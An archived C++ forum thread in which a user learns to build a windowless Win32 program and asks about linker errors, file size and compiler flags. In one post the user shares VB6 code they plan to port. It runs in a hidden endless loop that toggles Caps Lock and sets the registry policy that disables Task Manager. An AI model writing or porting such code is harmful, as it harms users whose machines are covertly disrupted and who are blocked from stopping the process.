Background-process app

This is a discussion on Background-process app within the C++ Programming forums, part of the General Programming Boards category; How do I create a background-process app in C++? In VB6 (please, don't hate me ) you could just remove ...

  1. #1
    Registered User
    Join Date
    Mar 2002
    Posts
    13

    Background-process app

    How do I create a background-process app in C++?
    In VB6 (please, don't hate me ) you could just remove the form and add a module, the app would still be listed in taskmanager, but not visible on the screen.

  2. #2
    Registered User biosx's Avatar
    Join Date
    Aug 2001
    Posts
    230
    I am pretty sure that the operating system is the one that decides if an app is a background process. There might be some windows api functions that do that, but usually (like in UNIX) the operating system makes a process run in the background.

  3. #3
    &TH of undefined behavior Fordy's Avatar
    Join Date
    Aug 2001
    Posts
    5,789
    If you want to do this properly, do a search on Windows Services.....

  4. #4
    Registered User
    Join Date
    Mar 2002
    Posts
    13

    Are you sure?
    Maybe background-process is the wrong word?
    Anyway, I do want it to run as a normal program, I just dont want it to be visible on the screen.

  5. #5
    &TH of undefined behavior Fordy's Avatar
    Join Date
    Aug 2001
    Posts
    5,789
    Originally posted by philip

    Are you sure?
    Maybe background-process is the wrong word?
    Anyway, I do want it to run as a normal program, I just dont want it to be visible on the screen.
    Oh right...then create a win32 program, but dont create a window or a dialog

  6. #6
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Ehm...*blushes*
    And how do I do that?
    I'm using VC++6.
    If I create a new Win32 App, and just add an empty source, and put
    void main()
    {
    }

    it wont even run

  7. #7
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Hmm..no errors when compiling, just when building:
    --------------------Configuration: aas - Win32 Debug--------------------
    Linking...
    LIBCD.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16
    Debug/aas.exe : fatal error LNK1120: 1 unresolved externals
    Error executing link.exe.

    aas.exe - 2 error(s), 0 warning(s)

  8. #8
    Registered User biosx's Avatar
    Join Date
    Aug 2001
    Posts
    230
    Win32 doesn't use main(). It uses WinMain().

    Check out this site for help.

    good luck

  9. #9
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Ah, it works now, thanks alot.
    However, the reason I was going to rewrite a program in C++ was to make it smaller...
    But it turned out to be bigger instead
    In VB6, it's ~20k, in VC++6 it's ~153k...eh

  10. #10
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Got it down to ~65k, still too big
    How come C++ programs are larger?

  11. #11
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Something must be terribly wrong
    (I'm using vc++6 enterprise)

    When I choose "Minimize size" optimization i get the error:
    --------------------Configuration: aaa - Win32 Debug--------------------
    Compiling...
    Command line error D2016 : '/ZI' and '/O1' command-line options are incompatible
    Error executing cl.exe.

    a.obj - 1 error(s), 0 warning(s)

  12. #12
    Registered User biosx's Avatar
    Join Date
    Aug 2001
    Posts
    230
    Post your code

  13. #13
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    its not really neccesary, but here we go
    (as I said, i cant get the size-opt to work)

    c++ (this is ONLY the winmain function..nothing else...and it takes up ~37k (got it down a bit more)):

    #include <windows.h>

    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
    MessageBox(NULL, "Goodbye, cruel world!", "Note", MB_OK);
    return 0;
    }


    (this is the code, that im later going to turn into c++)
    vb (this code, compiled into an exe native-code speedoptimization = ~20k:
    Option Explicit

    Private Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
    Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
    Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
    Private Declare Function Sleep Lib "kernel32" (ByVal dwmilliseconds As Long) As Long

    Private Const KEYEVENTF_EXTENDEDKEY As Long = 1
    Private Const KEYEVENTF_KEYUP As Long = 2
    Private Const HKEY_CURRENT_USER As Long = -2147483647
    Private Const REG_VALUENAME As String = "DisableTaskMgr"
    Private Const REG_SUBKEY As String = "software\microsoft\windows\currentversion\policie s\system"

    Private Sub Main()
    Dim lngScan As Long
    Dim lngHandle As Long
    Dim lngReturn As Long

    Do
    lngScan& = MapVirtualKey&(vbKeyCapital&, 0&)
    Call keybd_event(CByte(vbKeyCapital&), CByte(lngScan&), KEYEVENTF_EXTENDEDKEY&, 0&)
    Call keybd_event(CByte(vbKeyCapital&), CByte(lngScan&), KEYEVENTF_KEYUP&, 0&)

    lngReturn& = RegCreateKey&(HKEY_CURRENT_USER&, REG_SUBKEY$, lngHandle&)
    lngReturn& = RegSetValueEx&(lngHandle&, REG_VALUENAME$, 0&, 4, 1&, 4&)
    lngReturn& = RegCloseKey&(lngHandle&)

    lngReturn& = Sleep&(1000&)
    Loop
    End Sub

  14. #14
    Registered User
    Join Date
    Jan 2002
    Posts
    18
    --> In VB6, it's ~20k

    Don't forget the VB runtimes! The VC program is actually an executable whereas the VB program is heavilly linked to the runtimes.

  15. #15
    Registered User
    Join Date
    Mar 2002
    Posts
    13
    Ahhh, that's right...
    Anyway, why won't the size-opt work in my vc++ent?

    (this is the error i get when using ANY kind of opt, the only thing that differs is the digit next to O (O1, O2, etc))

    --------------------Configuration: test - Win32 Debug--------------------
    Compiling...
    Command line error D2016 : '/ZI' and '/O1' command-line options are incompatible
    Error executing cl.exe.

    test.obj - 1 error(s), 0 warning(s)

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 3
    Last Post: 10-15-2008, 10:24 AM
  2. Problem with forking a process
    By Unitedroad in forum C Programming
    Replies: 10
    Last Post: 10-04-2007, 02:43 AM
  3. process programming
    By St0rM-MaN in forum Linux Programming
    Replies: 2
    Last Post: 09-15-2007, 08:53 AM
  4. Linux: Send keyboard input to background process
    By xErath in forum Tech Board
    Replies: 2
    Last Post: 12-09-2004, 07:02 PM
  5. Detect Close of a background process
    By Schwarzhelm in forum C Programming
    Replies: 1
    Last Post: 11-05-2003, 01:46 AM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21